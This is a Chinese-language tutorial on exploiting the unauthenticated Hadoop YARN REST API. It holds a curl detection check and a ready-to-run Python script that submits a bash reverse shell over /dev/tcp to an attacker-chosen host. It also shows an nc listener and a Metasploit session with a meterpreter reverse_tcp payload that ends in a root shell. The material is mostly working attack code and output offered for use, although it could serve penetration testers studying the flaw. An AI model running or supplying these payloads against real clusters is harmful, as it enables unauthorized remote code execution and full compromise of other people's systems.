Hadoop Yarn REST API未授权漏洞利用

　　

Hadoop Yarn REST API未授权漏洞利用

Hadoop是一个由Apache基金会所开发的分布式系统基础架构，YARN是hadoop系统上的资源统一管理平台，其主要作用是实现集群资源的统一管理和调度，可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上，通过YARN来管理资源。简单的说，用户可以向YARN提交特定应用程序进行执行，其中就允许执行相关包含系统命令。

yarn默认开发8088和8089端口。

检测漏洞存在方式：

curl -X POST 172.16.20.134:8088/ws/v1/cluster/apps/new-application

返回如下请求证明存在

漏洞利用python代码 ：

import requests

target = 'http://172.16.20.134:8088/'
lhost = '172.16.20.108'  # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)

本地监听，返回shell

nc -lvp 9999

　　

msf漏洞模块

msf5 > use exploit/linux/http/hadoop_unauth_exec
msf5 exploit(linux/http/hadoop_unauth_exec) > show options

Module options (exploit/linux/http/hadoop_unauth_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                     yes       The target address
   RPORT    8088             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141
rhost => 192.168.77.141
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/http/hadoop_unauth_exec) > show options

Module options (exploit/linux/http/hadoop_unauth_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.77.141   yes       The target address
   RPORT    8088             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141
lhost => 192.168.77.141
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.77.141:4444
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (853256 bytes) to 172.20.0.3
[*] Meterpreter session 1 opened (192.168.77.141:4444 -> 172.20.0.3:34138) at 2018-05-15 03:21:17 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0